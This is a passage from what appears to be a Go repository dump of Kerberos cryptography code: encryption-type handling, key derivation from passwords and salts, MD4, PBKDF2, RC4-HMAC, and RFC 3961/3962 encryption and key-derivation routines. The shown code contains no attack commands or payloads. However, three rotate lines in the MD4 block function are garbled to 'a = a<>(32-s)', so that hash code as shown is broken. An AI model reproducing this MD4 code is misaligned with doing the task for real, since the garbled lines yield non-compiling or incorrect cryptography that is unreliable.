eType 22 | default: 23 | var eType RC4_HMAC 24 | return eType 25 | } 26 | } 27 | func GetETypeString(eTypeID int32) string { 28 | switch eTypeID { 29 | case flags.RC4_HMAC_MD5: 30 | return "RC4_HMAC_MD5" 31 | case flags.AES_128_CTS_HMAC_SHA1: 32 | return "AES_128_CTS_HMAC_SHA1" 33 | case flags.AES_256_CTS_HMAC_SHA1: 34 | return "AES_256_CTS_HMAC_SHA1" 35 | default: 36 | return "" 37 | } 38 | } 39 | 40 | func GetEncryptionKeyFromPassword(password, realm string, etype etype.EType, cname types.PrincipalName, pas types.PADataSequence) (types.EncryptionKey, error) { 41 | var key types.EncryptionKey 42 | sk2p := etype.GetDefaultStringToKeyParams() 43 | 44 | var salt string 45 | var paID int32 46 | 47 | for _, value := range pas{ 48 | switch value.Padata_Type { 49 | case flags.PA_PW_SALT: 50 | if paID > value.Padata_Type { 51 | continue 52 | } 53 | //salt = string(value.Padata_Value) 54 | salt = *(*string)(unsafe.Pointer(&value.Padata_Value)) 55 | 56 | case flags.PA_ETYPE_INFO: 57 | if paID > value.Padata_Type { 58 | continue 59 | } 60 | var eti types.ETypeINFO 61 | err := eti.Unmarshal(value.Padata_Value) 62 | if err != nil { 63 | return key, fmt.Errorf("unmashaling PA Data to PA-ETYPE-INFO failed %v", err) 64 | } 65 | //salt = string(eti[0].Salt) 66 | salt = *(*string)(unsafe.Pointer(&eti[0].Salt)) 67 | 68 | case flags.PA_ETYPE_INFO2: 69 | if paID > value.Padata_Type { 70 | continue 71 | } 72 | var eti2 types.ETypeINFO2 73 | err := eti2.Unmarshal(value.Padata_Value) 74 | if err != nil { 75 | return key, fmt.Errorf("unmashaling PA Data to PA-ETYPE-INFO2 failed %v", err) 76 | } 77 | if len(eti2[0].S2kparams) == 4 { 78 | //sk2p = string(eti2[0].S2kparams) 79 | sk2p = *(*string)(unsafe.Pointer(&eti2[0].S2kparams)) 80 | } 81 | //salt = string(eti2[0].Salt) 82 | salt = *(*string)(unsafe.Pointer(&eti2[0].Salt)) 83 | } 84 | } 85 | 86 | if salt == "" { 87 | salt = cname.GetSalt(realm) 88 | } 89 | 90 | k, err := etype.StringToKey(password, salt, sk2p) 91 | if err != nil { 92 | return key, fmt.Errorf("deriving key from string failed %+v", err) 93 | } 94 | 95 | key = types.EncryptionKey{ 96 | KeyType: etype.GetETypeID(), 97 | KeyValue: k, 98 | } 99 | return key, nil 100 | } 101 | 102 | func GetEncryptedData(data []byte, key types.EncryptionKey, usage uint32, kvno int) (types.EncryptedData, error) { 103 | var ed types.EncryptedData 104 | eType := GetEType(key.KeyType) 105 | _, b, err := eType.EncryptMessage(key.KeyValue, data, usage) 106 | if err != nil { 107 | return ed, fmt.Errorf("get encrypted data failed %v", err) 108 | } 109 | ed = types.EncryptedData{ 110 | EType: key.KeyType, 111 | //Kvno: kvno, 112 | Cipher: b, 113 | } 114 | return ed, nil 115 | } 116 | 117 | func DecryptEncPart(ciphertext types.EncryptedData, key types.EncryptionKey, usage uint32) ([]byte, error) { 118 | eType := GetEType(key.KeyType) 119 | plaintext, err := eType.DecryptMessage(key.KeyValue, ciphertext.Cipher, usage) 120 | if err != nil { 121 | return nil, fmt.Errorf("decrypt ciphertext failed %v", err) 122 | } 123 | return plaintext, err 124 | } -------------------------------------------------------------------------------- /krb5/crypto/md4/md4.go: -------------------------------------------------------------------------------- 1 | package md4 2 | 3 | import ( 4 | "crypto" 5 | "hash" 6 | ) 7 | 8 | func init() { 9 | crypto.RegisterHash(crypto.MD4, New) 10 | } 11 | 12 | const Size = 16 13 | 14 | const BlockSize = 64 15 | 16 | const ( 17 | _Chunk = 64 18 | _Init0 = 0x67452301 19 | _Init1 = 0xEFCDAB89 20 | _Init2 = 0x98BADCFE 21 | _Init3 = 0x10325476 22 | ) 23 | 24 | // digest represents the partial evaluation of a checksum. 25 | type digest struct { 26 | s [4]uint32 27 | x [_Chunk]byte 28 | nx int 29 | len uint64 30 | } 31 | 32 | func (d *digest) Reset() { 33 | d.s[0] = _Init0 34 | d.s[1] = _Init1 35 | d.s[2] = _Init2 36 | d.s[3] = _Init3 37 | d.nx = 0 38 | d.len = 0 39 | } 40 | 41 | // New returns a new hash.Hash computing the MD4 checksum. 42 | func New() hash.Hash { 43 | d := new(digest) 44 | d.Reset() 45 | return d 46 | } 47 | 48 | func (d *digest) Size() int { return Size } 49 | 50 | func (d *digest) BlockSize() int { return BlockSize } 51 | 52 | func (d *digest) Write(p []byte) (nn int, err error) { 53 | nn = len(p) 54 | d.len += uint64(nn) 55 | if d.nx > 0 { 56 | n := len(p) 57 | if n > _Chunk-d.nx { 58 | n = _Chunk - d.nx 59 | } 60 | for i := 0; i < n; i++ { 61 | d.x[d.nx+i] = p[i] 62 | } 63 | d.nx += n 64 | if d.nx == _Chunk { 65 | _Block(d, d.x[0:]) 66 | d.nx = 0 67 | } 68 | p = p[n:] 69 | } 70 | n := _Block(d, p) 71 | p = p[n:] 72 | if len(p) > 0 { 73 | d.nx = copy(d.x[:], p) 74 | } 75 | return 76 | } 77 | 78 | func (d0 *digest) Sum(in []byte) []byte { 79 | d := new(digest) 80 | *d = *d0 81 | 82 | len := d.len 83 | var tmp [64]byte 84 | tmp[0] = 0x80 85 | if len%64 < 56 { 86 | d.Write(tmp[0 : 56-len%64]) 87 | } else { 88 | d.Write(tmp[0 : 64+56-len%64]) 89 | } 90 | 91 | len <<= 3 92 | for i := uint(0); i < 8; i++ { 93 | tmp[i] = byte(len >> (8 * i)) 94 | } 95 | d.Write(tmp[0:8]) 96 | 97 | if d.nx != 0 { 98 | panic("d.nx != 0") 99 | } 100 | 101 | for _, s := range d.s { 102 | in = append(in, byte(s>>0)) 103 | in = append(in, byte(s>>8)) 104 | in = append(in, byte(s>>16)) 105 | in = append(in, byte(s>>24)) 106 | } 107 | return in 108 | } 109 | -------------------------------------------------------------------------------- /krb5/crypto/md4/md4block.go: -------------------------------------------------------------------------------- 1 | package md4 2 | 3 | var shift1 = []uint{3, 7, 11, 19} 4 | var shift2 = []uint{3, 5, 9, 13} 5 | var shift3 = []uint{3, 9, 11, 15} 6 | 7 | var xIndex2 = []uint{0, 4, 8, 12, 1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15} 8 | var xIndex3 = []uint{0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15} 9 | 10 | func _Block(dig *digest, p []byte) int { 11 | a := dig.s[0] 12 | b := dig.s[1] 13 | c := dig.s[2] 14 | d := dig.s[3] 15 | n := 0 16 | var X [16]uint32 17 | for len(p) >= _Chunk { 18 | aa, bb, cc, dd := a, b, c, d 19 | 20 | j := 0 21 | for i := 0; i < 16; i++ { 22 | X[i] = uint32(p[j]) | uint32(p[j+1])<<8 | uint32(p[j+2])<<16 | uint32(p[j+3])<<24 23 | j += 4 24 | } 25 | 26 | for i := uint(0); i < 16; i++ { 27 | x := i 28 | s := shift1[i%4] 29 | f := ((c ^ d) & b) ^ d 30 | a += f + X[x] 31 | a = a<>(32-s) 32 | a, b, c, d = d, a, b, c 33 | } 34 | 35 | for i := uint(0); i < 16; i++ { 36 | x := xIndex2[i] 37 | s := shift2[i%4] 38 | g := (b & c) | (b & d) | (c & d) 39 | a += g + X[x] + 0x5a827999 40 | a = a<>(32-s) 41 | a, b, c, d = d, a, b, c 42 | } 43 | 44 | for i := uint(0); i < 16; i++ { 45 | x := xIndex3[i] 46 | s := shift3[i%4] 47 | h := b ^ c ^ d 48 | a += h + X[x] + 0x6ed9eba1 49 | a = a<>(32-s) 50 | a, b, c, d = d, a, b, c 51 | } 52 | 53 | a += aa 54 | b += bb 55 | c += cc 56 | d += dd 57 | 58 | p = p[_Chunk:] 59 | n += _Chunk 60 | } 61 | 62 | dig.s[0] = a 63 | dig.s[1] = b 64 | dig.s[2] = c 65 | dig.s[3] = d 66 | return n 67 | } 68 | -------------------------------------------------------------------------------- /krb5/crypto/pbkdf2/pbkdf2.go: -------------------------------------------------------------------------------- 1 | package pbkdf2 2 | 3 | import ( 4 | "crypto/hmac" 5 | "hash" 6 | ) 7 | 8 | func Key(password, salt []byte, iter, keyLen int, h func() hash.Hash) []byte { 9 | return Key64(password, salt, int64(iter), int64(keyLen), h) 10 | } 11 | 12 | func Key64(password, salt []byte, iter, keyLen int64, h func() hash.Hash) []byte { 13 | prf := hmac.New(h, password) 14 | hashLen := int64(prf.Size()) 15 | numBlocks := (keyLen + hashLen - 1) / hashLen 16 | 17 | var buf [4]byte 18 | dk := make([]byte, 0, numBlocks*hashLen) 19 | U := make([]byte, hashLen) 20 | for block := int64(1); block <= numBlocks; block++ { 21 | // N.B.: || means concatenation, ^ means XOR 22 | // for each block T_i = U_1 ^ U_2 ^ ... ^ U_iter 23 | // U_1 = PRF(password, salt || uint(i)) 24 | prf.Reset() 25 | prf.Write(salt) 26 | buf[0] = byte(block >> 24) 27 | buf[1] = byte(block >> 16) 28 | buf[2] = byte(block >> 8) 29 | buf[3] = byte(block) 30 | prf.Write(buf[:4]) 31 | dk = prf.Sum(dk) 32 | T := dk[int64(len(dk))-hashLen:] 33 | copy(U, T) 34 | 35 | // U_n = PRF(password, U_(n-1)) 36 | for n := int64(2); n <= iter; n++ { 37 | prf.Reset() 38 | prf.Write(U) 39 | U = U[:0] 40 | U = prf.Sum(U) 41 | for x := range U { 42 | T[x] ^= U[x] 43 | } 44 | } 45 | } 46 | return dk[:keyLen] 47 | } -------------------------------------------------------------------------------- /krb5/crypto/rc4hmac.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "GoRottenTomato/krb5/crypto/md4" 5 | "GoRottenTomato/krb5/crypto/rfc3961" 6 | "GoRottenTomato/krb5/crypto/rfc4757" 7 | "GoRottenTomato/krb5/flags" 8 | "bytes" 9 | "crypto/hmac" 10 | "crypto/md5" 11 | "hash" 12 | "io" 13 | ) 14 | 15 | type RC4_HMAC struct { 16 | } 17 | 18 | // GetETypeID returns the EType ID number. 19 | func (e RC4_HMAC) GetETypeID() int32 { 20 | return flags.RC4_HMAC_MD5 21 | } 22 | 23 | // GetHashID returns the checksum type ID number. 24 | func (e RC4_HMAC) GetHashID() int32 { 25 | return flags.KERB_CHECKSUM_HMAC_MD5 26 | } 27 | 28 | // GetKeyByteSize returns the number of bytes for key of this etype. 29 | func (e RC4_HMAC) GetKeyByteSize() int { 30 | return 16 31 | } 32 | 33 | // GetKeySeedBitLength returns the number of bits for the seed for key generation. 34 | func (e RC4_HMAC) GetKeySeedBitLength() int { 35 | return e.GetKeyByteSize() * 8 36 | } 37 | 38 | // GetHashFunc returns the hash function for this etype. 39 | func (e RC4_HMAC) GetHashFunc() func() hash.Hash { 40 | return md5.New 41 | } 42 | 43 | // GetMessageBlockByteSize returns the block size for the etype's messages. 44 | func (e RC4_HMAC) GetMessageBlockByteSize() int { 45 | return 1 46 | } 47 | 48 | // GetDefaultStringToKeyParams returns the default key derivation parameters in string form. 49 | func (e RC4_HMAC) GetDefaultStringToKeyParams() string { 50 | return "" 51 | } 52 | 53 | // GetConfounderByteSize returns the byte count for confounder to be used during cryptographic operations. 54 | func (e RC4_HMAC) GetConfounderByteSize() int { 55 | return 8 56 | } 57 | 58 | // GetHMACBitLength returns the bit count size of the integrity hash. 59 | func (e RC4_HMAC) GetHMACBitLength() int { 60 | return md5.Size * 8 61 | } 62 | 63 | // GetCypherBlockBitLength returns the bit count size of the cypher block. 64 | func (e RC4_HMAC) GetCypherBlockBitLength() int { 65 | return 8 // doesn't really apply 66 | } 67 | 68 | // StringToKey returns a key derived from the string provided. 69 | func (e RC4_HMAC) StringToKey(secret string, salt string, s2kparams string) ([]byte, error) { 70 | return rfc4757.StringToKey(secret) 71 | } 72 | 73 | // RandomToKey returns a key from the bytes provided. 74 | func (e RC4_HMAC) RandomToKey(b []byte) []byte { 75 | r := bytes.NewReader(b) 76 | h := md4.New() 77 | io.Copy(h, r) 78 | return h.Sum(nil) 79 | } 80 | 81 | // EncryptData encrypts the data provided. 82 | func (e RC4_HMAC) EncryptData(key, data []byte) ([]byte, []byte, error) { 83 | b, err := rfc4757.EncryptData(key, data, e) 84 | return []byte{}, b, err 85 | } 86 | 87 | // EncryptMessage encrypts the message provided and concatenates it with the integrity hash to create an encrypted message. 88 | func (e RC4_HMAC) EncryptMessage(key, message []byte, usage uint32) ([]byte, []byte, error) { 89 | b, err := rfc4757.EncryptMessage(key, message, usage, false, e) 90 | return []byte{}, b, err 91 | } 92 | 93 | // DecryptData decrypts the data provided. 94 | func (e RC4_HMAC)DecryptData(key, data []byte) ([]byte, error) { 95 | return rfc4757.DecryptData(key, data, e) 96 | } 97 | 98 | // DecryptMessage decrypts the message provided and verifies the integrity of the message. 99 | func (e RC4_HMAC)DecryptMessage(key, ciphertext []byte, usage uint32) ([]byte, error) { 100 | return rfc4757.DecryptMessage(key, ciphertext, usage, false, e) 101 | } 102 | 103 | // DeriveKey derives a key from the protocol key based on the usage value. 104 | func (e RC4_HMAC)DeriveKey(protocolKey, usage []byte) ([]byte, error) { 105 | return rfc4757.HMAC(protocolKey, usage), nil 106 | } 107 | 108 | // DeriveRandom generates data needed for key generation. 109 | func (e RC4_HMAC)DeriveRandom(protocolKey, usage []byte) ([]byte, error) { 110 | return rfc3961.DeriveRandom(protocolKey, usage, e) 111 | } 112 | 113 | // VerifyIntegrity checks the integrity of the plaintext message. 114 | func (e RC4_HMAC)VerifyIntegrity(protocolKey, ct, pt []byte, usage uint32) bool { 115 | return rfc4757.VerifyIntegrity(protocolKey, pt, ct, e) 116 | } 117 | 118 | // GetChecksumHash returns a keyed checksum hash of the bytes provided. 119 | func (e RC4_HMAC)GetChecksumHash(protocolKey, data []byte, usage uint32) ([]byte, error) { 120 | return rfc4757.Checksum(protocolKey, usage, data) 121 | } 122 | 123 | // VerifyChecksum compares the checksum of the message bytes is the same as the checksum provided. 124 | func (e RC4_HMAC)VerifyChecksum(protocolKey, data, chksum []byte, usage uint32) bool { 125 | checksum, err := rfc4757.Checksum(protocolKey, usage, data) 126 | if err != nil { 127 | return false 128 | } 129 | return hmac.Equal(checksum, chksum) 130 | } -------------------------------------------------------------------------------- /krb5/crypto/rfc3961/encryption.go: -------------------------------------------------------------------------------- 1 | package rfc3961 2 | 3 | import ( 4 | "GoRottenTomato/krb5/crypto/common" 5 | "GoRottenTomato/krb5/crypto/etype" 6 | "crypto/cipher" 7 | "crypto/des" 8 | "crypto/hmac" 9 | "crypto/rand" 10 | "errors" 11 | "fmt" 12 | ) 13 | 14 | func DES3EncryptData(key, data []byte, e etype.EType) ([]byte, []byte, error) { 15 | if len(key) != e.GetKeyByteSize() { 16 | return nil, nil, fmt.Errorf("incorrect keysize: expected: %v actual: %v", e.GetKeyByteSize(), len(key)) 17 | } 18 | data, _ = common.ZeroPad(data, e.GetMessageBlockByteSize()) 19 | 20 | block, err := des.NewTripleDESCipher(key) 21 | if err != nil { 22 | return nil, nil, fmt.Errorf("error creating cipher: %v", err) 23 | } 24 | 25 | //RFC 3961: initial cipher state All bits zero 26 | ivz := make([]byte, des.BlockSize) 27 | 28 | ct := make([]byte, len(data)) 29 | mode := cipher.NewCBCEncrypter(block, ivz) 30 | mode.CryptBlocks(ct, data) 31 | return ct[len(ct)-e.GetMessageBlockByteSize():], ct, nil 32 | } 33 | 34 | // DES3EncryptMessage encrypts the message provided using DES3 and methods specific to the etype provided. 35 | // The encrypted data is concatenated with its integrity hash to create an encrypted message. 36 | func DES3EncryptMessage(key, message []byte, usage uint32, e etype.EType) ([]byte, []byte, error) { 37 | //confounder 38 | c := make([]byte, e.GetConfounderByteSize()) 39 | _, err := rand.Read(c) 40 | if err != nil { 41 | return []byte{}, []byte{}, fmt.Errorf("could not generate random confounder: %v", err) 42 | } 43 | plainBytes := append(c, message...) 44 | plainBytes, _ = common.ZeroPad(plainBytes, e.GetMessageBlockByteSize()) 45 | 46 | // Derive key for encryption from usage 47 | var k []byte 48 | if usage != 0 { 49 | k, err = e.DeriveKey(key, common.GetUsageKe(usage)) 50 | if err != nil { 51 | return []byte{}, []byte{}, fmt.Errorf("error deriving key for encryption: %v", err) 52 | } 53 | } 54 | 55 | iv, b, err := e.EncryptData(k, plainBytes) 56 | if err != nil { 57 | return iv, b, fmt.Errorf("error encrypting data: %v", err) 58 | } 59 | 60 | // Generate and append integrity hash 61 | ih, err := common.GetIntegrityHash(plainBytes, key, usage, e) 62 | if err != nil { 63 | return iv, b, fmt.Errorf("error encrypting data: %v", err) 64 | } 65 | b = append(b, ih...) 66 | return iv, b, nil 67 | } 68 | 69 | // DES3DecryptData decrypts the data provided using DES3 and methods specific to the etype provided. 70 | func DES3DecryptData(key, data []byte, e etype.EType) ([]byte, error) { 71 | if len(key) != e.GetKeyByteSize() { 72 | return []byte{}, fmt.Errorf("incorrect keysize: expected: %v actual: %v", e.GetKeyByteSize(), len(key)) 73 | } 74 | 75 | if len(data) < des.BlockSize || len(data)%des.BlockSize != 0 { 76 | return []byte{}, errors.New("ciphertext is not a multiple of the block size") 77 | } 78 | block, err := des.NewTripleDESCipher(key) 79 | if err != nil { 80 | return []byte{}, fmt.Errorf("error creating cipher: %v", err) 81 | } 82 | pt := make([]byte, len(data)) 83 | ivz := make([]byte, des.BlockSize) 84 | mode := cipher.NewCBCDecrypter(block, ivz) 85 | mode.CryptBlocks(pt, data) 86 | return pt, nil 87 | } 88 | 89 | // DES3DecryptMessage decrypts the message provided using DES3 and methods specific to the etype provided. 90 | // The integrity of the message is also verified. 91 | func DES3DecryptMessage(key, ciphertext []byte, usage uint32, e etype.EType) ([]byte, error) { 92 | //Derive the key 93 | k, err := e.DeriveKey(key, common.GetUsageKe(usage)) 94 | if err != nil { 95 | return nil, fmt.Errorf("error deriving key: %v", err) 96 | } 97 | // Strip off the checksum from the end 98 | b, err := e.DecryptData(k, ciphertext[:len(ciphertext)-e.GetHMACBitLength()/8]) 99 | if err != nil { 100 | return nil, fmt.Errorf("error decrypting: %v", err) 101 | } 102 | //Verify checksum 103 | if !e.VerifyIntegrity(key, ciphertext, b, usage) { 104 | return nil, errors.New("error decrypting: integrity verification failed") 105 | } 106 | //Remove the confounder bytes 107 | return b[e.GetConfounderByteSize():], nil 108 | } 109 | 110 | // VerifyIntegrity verifies the integrity of cipertext bytes ct. 111 | func VerifyIntegrity(key, ct, pt []byte, usage uint32, etype etype.EType) bool { 112 | h := make([]byte, etype.GetHMACBitLength()/8) 113 | copy(h, ct[len(ct)-etype.GetHMACBitLength()/8:]) 114 | expectedMAC, _ := common.GetIntegrityHash(pt, key, usage, etype) 115 | return hmac.Equal(h, expectedMAC) 116 | } -------------------------------------------------------------------------------- /krb5/crypto/rfc3961/keyDerivation.go: -------------------------------------------------------------------------------- 1 | package rfc3961 2 | 3 | import ( 4 | "GoRottenTomato/krb5/crypto/etype" 5 | "bytes" 6 | ) 7 | 8 | const ( 9 | prfconstant = "prf" 10 | ) 11 | 12 | func DeriveRandom(key, usage []byte, e etype.EType) ([]byte, error) { 13 | n := e.GetCypherBlockBitLength() 14 | k := e.GetKeySeedBitLength() 15 | //Ensure the usage constant is at least the size of the cypher block size. Pass it through the nfold algorithm that will "stretch" it if needs be. 16 | nFoldUsage := Nfold(usage, n) 17 | //k-truncate implemented by creating a byte array the size of k (k is in bits hence /8) 18 | out := make([]byte, k/8) 19 | // Keep feeding the output back into the encryption function until it is no longer short than k. 20 | _, K, err := e.EncryptData(key, nFoldUsage) 21 | if err != nil { 22 | return out, err 23 | } 24 | for i := copy(out, K); i < len(out); { 25 | _, K, _ = e.EncryptData(key, K) 26 | i = i + copy(out[i:], K) 27 | } 28 | return out, nil 29 | } 30 | 31 | // DeriveKey derives a key from the protocol key based on the usage and the etype's specific methods. 32 | func DeriveKey(protocolKey, usage []byte, e etype.EType) ([]byte, error) { 33 | r, err := e.DeriveRandom(protocolKey, usage) 34 | if err != nil { 35 | return nil, err 36 | } 37 | return e.RandomToKey(r), nil 38 | } 39 | 40 | // RandomToKey returns a key from the bytes provided according to the definition in RFC 3961. 41 | func RandomToKey(b []byte) []byte { 42 | return b 43 | } 44 | 45 | // DES3RandomToKey returns a key from the bytes provided according to the definition in RFC 3961 for DES3 etypes. 46 | func DES3RandomToKey(b []byte) []byte { 47 | r := fixWeakKey(stretch56Bits(b[:7])) 48 | r2 := fixWeakKey(stretch56Bits(b[7:14])) 49 | r = append(r, r2...) 50 | r3 := fixWeakKey(stretch56Bits(b[14:21])) 51 | r = append(r, r3...) 52 | return r 53 | } 54 | 55 | // DES3StringToKey returns a key derived from the string provided according to the definition in RFC 3961 for DES3 etypes. 56 | func DES3StringToKey(secret, salt string, e etype.EType) ([]byte, error) { 57 | s := secret + salt 58 | tkey := e.RandomToKey(Nfold([]byte(s), e.GetKeySeedBitLength())) 59 | return e.DeriveKey(tkey, []byte("kerberos")) 60 | } 61 | 62 | // PseudoRandom function as defined in RFC 3961 63 | func PseudoRandom(key, b []byte, e etype.EType) ([]byte, error) { 64 | h := e.GetHashFunc()() 65 | h.Write(b) 66 | tmp := h.Sum(nil)[:e.GetMessageBlockByteSize()] 67 | k, err := e.DeriveKey(key, []byte(prfconstant)) 68 | if err != nil { 69 | return []byte{}, err 70 | } 71 | _, prf, err := e.EncryptData(k, tmp) 72 | if err != nil { 73 | return []byte{}, err 74 | } 75 | return prf, nil 76 | } 77 | 78 | func stretch56Bits(b []byte) []byte { 79 | d := make([]byte, len(b), len(b)) 80 | copy(d, b) 81 | var lb byte 82 | for i, v := range d { 83 | bv, nb := calcEvenParity(v) 84 | d[i] = nb 85 | if bv != 0 { 86 | lb = lb | (1 << uint(i+1)) 87 | } else { 88 | lb = lb &^ (1 << uint(i+1)) 89 | } 90 | } 91 | _, lb = calcEvenParity(lb) 92 | d = append(d, lb) 93 | return d 94 | } 95 | 96 | func calcEvenParity(b byte) (uint8, uint8) { 97 | lowestbit := b & 0x01 98 | // c counter of 1s in the first 7 bits of the byte 99 | var c int 100 | // Iterate over the highest 7 bits (hence p starts at 1 not zero) and count the 1s. 101 | for p := 1; p < 8; p++ { 102 | v := b & (1 << uint(p)) 103 | if v != 0 { 104 | c++ 105 | } 106 | } 107 | if c%2 == 0 { 108 | //Even number of 1s so set parity to 1 109 | b = b | 1 110 | } else { 111 | //Odd number of 1s so set parity to 0 112 | b = b &^ 1 113 | } 114 | return lowestbit, b 115 | } 116 | 117 | func fixWeakKey(b []byte) []byte { 118 | if weak(b) { 119 | b[7] ^= 0xF0 120 | } 121 | return b 122 | } 123 | 124 | func weak(b []byte) bool { 125 | // weak keys from https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-67r1.pdf 126 | weakKeys := [4][]byte{ 127 | {0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01}, 128 | {0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE}, 129 | {0xE0, 0xE0, 0xE0, 0xE0, 0xF1, 0xF1, 0xF1, 0xF1}, 130 | {0x1F, 0x1F, 0x1F, 0x1F, 0x0E, 0x0E, 0x0E, 0x0E}, 131 | } 132 | semiWeakKeys := [12][]byte{ 133 | {0x01, 0x1F, 0x01, 0x1F, 0x01, 0x0E, 0x01, 0x0E}, 134 | {0x1F, 0x01, 0x1F, 0x01, 0x0E, 0x01, 0x0E, 0x01}, 135 | {0x01, 0xE0, 0x01, 0xE0, 0x01, 0xF1, 0x01, 0xF1}, 136 | {0xE0, 0x01, 0xE0, 0x01, 0xF1, 0x01, 0xF1, 0x01}, 137 | {0x01, 0xFE, 0x01, 0xFE, 0x01, 0xFE, 0x01, 0xFE}, 138 | {0xFE, 0x01, 0xFE, 0x01, 0xFE, 0x01, 0xFE, 0x01}, 139 | {0x1F, 0xE0, 0x1F, 0xE0, 0x0E, 0xF1, 0x0E, 0xF1}, 140 | {0xE0, 0x1F, 0xE0, 0x1F, 0xF1, 0x0E, 0xF1, 0x0E}, 141 | {0x1F, 0xFE, 0x1F, 0xFE, 0x0E, 0xFE, 0x0E, 0xFE}, 142 | {0xFE, 0x1F, 0xFE, 0x1F, 0xFE, 0x0E, 0xFE, 0x0E}, 143 | {0xE0, 0xFE, 0xE0, 0xFE, 0xF1, 0xFE, 0xF1, 0xFE}, 144 | {0xFE, 0xE0, 0xFE, 0xE0, 0xFE, 0xF1, 0xFE, 0xF1}, 145 | } 146 | for _, k := range weakKeys { 147 | if bytes.Equal(b, k) { 148 | return true 149 | } 150 | } 151 | for _, k := range semiWeakKeys { 152 | if bytes.Equal(b, k) { 153 | return true 154 | } 155 | } 156 | return false 157 | } -------------------------------------------------------------------------------- /krb5/crypto/rfc3961/nfold.go: -------------------------------------------------------------------------------- 1 | package rfc3961 2 | 3 | func Nfold(m []byte, n int) []byte { 4 | k := len(m) * 8 5 | 6 | //Get the lowest common multiple of the two bit sizes 7 | lcm := lcm(n, k) 8 | relicate := lcm / k 9 | var sumBytes []byte 10 | 11 | for i := 0; i < relicate; i++ { 12 | rotation := 13 * i 13 | sumBytes = append(sumBytes, rotateRight(m, rotation)...) 14 | } 15 | 16 | nfold := make([]byte, n/8) 17 | sum := make([]byte, n/8) 18 | for i := 0; i < lcm/n; i++ { 19 | for j := 0; j < n/8; j++ { 20 | sum[j] = sumBytes[j+(i*len(sum))] 21 | } 22 | nfold = onesComplementAddition(nfold, sum) 23 | } 24 | return nfold 25 | } 26 | 27 | func onesComplementAddition(n1, n2 []byte) []byte { 28 | numBits := len(n1) * 8 29 | out := make([]byte, numBits/8) 30 | carry := 0 31 | for i := numBits - 1; i > -1; i-- { 32 | n1b := getBit(&n1, i) 33 | n2b := getBit(&n2, i) 34 | s := n1b + n2b + carry 35 | 36 | if s == 0 || s == 1 { 37 | setBit(&out, i, s) 38 | carry = 0 39 | } else if s == 2 { 40 | carry = 1 41 | } else if s == 3 { 42 | setBit(&out, i, 1) 43 | carry = 1 44 | } 45 | } 46 | if carry == 1 { 47 | carryArray := make([]byte, len(n1)) 48 | carryArray[len(carryArray)-1] = 1 49 | out = onesComplementAddition(out, carryArray) 50 | } 51 | return out 52 | } 53 | 54 | func rotateRight(b []byte, step int) []byte { 55 | out := make([]byte, len(b)) 56 | bitLen := len(b) * 8 57 | for i := 0; i < bitLen; i++ { 58 | v := getBit(&b, i) 59 | setBit(&out, (i+step)%bitLen, v) 60 | } 61 | return out 62 | } 63 | 64 | func lcm(x, y int) int { 65 | return (x * y) / gcd(x, y) 66 | } 67 | 68 | func gcd(x, y int) int { 69 | for y != 0 { 70 | x, y = y, x%y 71 | } 72 | return x 73 | } 74 | 75 | func getBit(b *[]byte, p int) int { 76 | pByte := p / 8 77 | pBit := uint(p % 8) 78 | vByte := (*b)[pByte] 79 | vInt := int(vByte >> (8 - (pBit + 1)) & 0x0001) 80 | return vInt 81 | } 82 | 83 | func setBit(b *[]byte, p, v int) { 84 | pByte := p / 8 85 | pBit := uint(p % 8) 86 | oldByte := (*b)[pByte] 87 | var newByte byte 88 | newByte = byte(v<<(8-(pBit+1))) | oldByte 89 | (*b)[pByte] = newByte 90 | } -------------------------------------------------------------------------------- /krb5/crypto/rfc3962/encryption.go: -------------------------------------------------------------------------------- 1 | package rfc3962 2 | 3 | import ( 4 | "GoRottenTomato/krb5/crypto/aescts" 5 | "GoRottenTomato/krb5/crypto/common" 6 | "GoRottenTomato/krb5/crypto/etype" 7 | "crypto/rand" 8 | "errors" 9 | "fmt" 10 | ) 11 | 12 | // EncryptData encrypts the data provided using methods specific to the etype provided as defined in RFC 3962. 13 | func EncryptData(key, data []byte, e etype.EType) ([]byte, []byte, error) { 14 | if len(key) != e.GetKeyByteSize() { 15 | return []byte{}, []byte{}, fmt.Errorf("incorrect keysize: expected: %v actual: %v", e.GetKeyByteSize(), len(key)) 16 | } 17 | ivz := make([]byte, e.GetCypherBlockBitLength()/8) 18 | return aescts.Encrypt(key, ivz, data) 19 | } 20 | 21 | // EncryptMessage encrypts the message provided using the methods specific to the etype provided as defined in RFC 3962. 22 | // The encrypted data is concatenated with its integrity hash to create an encrypted message. 23 | func EncryptMessage(key, message []byte, usage uint32, e etype.EType) ([]byte, []byte, error) { 24 | if len(key) != e.GetKeyByteSize() { 25 | return []byte{}, []byte{}, fmt.Errorf("incorrect keysize: expected: %v actual: %v", e.GetKeyByteSize(), len(key)) 26 | } 27 | //confounder 28 | c := make([]byte, e.GetConfounderByteSize()) 29 | _, err := rand.Read(c) 30 | if err != nil { 31 | return []byte{}, []byte{}, fmt.Errorf("could not generate random confounder: %v", err) 32 | } 33 | plainBytes := append(c, message...) 34 | 35 | // Derive key for encryption from usage 36 | var k []byte 37 | if usage != 0 { 38 | k, err = e.DeriveKey(key, common.GetUsageKe(usage)) 39 | if err != nil { 40 | return []byte{}, []byte{}, fmt.Errorf("error deriving key for encryption: %v", err) 41 | } 42 | } 43 | 44 | // Encrypt the data 45 | iv, b, err := e.EncryptData(k, plainBytes) 46 | if err != nil { 47 | return iv, b, fmt.Errorf("error encrypting data: %v", err) 48 | } 49 | 50 | // Generate and append integrity hash 51 | ih, err := common.GetIntegrityHash(plainBytes, key, usage, e) 52 | if err != nil { 53 | return iv, b, fmt.Errorf("error encrypting data: %v", err) 54 | } 55 | b = append(b, ih...) 56 | return iv, b, nil 57 | } 58 | 59 | // DecryptData decrypts the data provided using the methods specific to the etype provided as defined in RFC 3962. 60 | func DecryptData(key, data []byte, e etype.EType) ([]byte, error) { 61 | if len(key) != e.GetKeyByteSize() { 62 | return []byte{}, fmt.Errorf("incorrect keysize: expected: %v actual: %v", e.GetKeyByteSize(), len(key)) 63 | } 64 | ivz := make([]byte, e.GetCypherBlockBitLength()/8) 65 | return aescts.Decrypt(key, ivz, data) 66 | } 67 | 68 | // 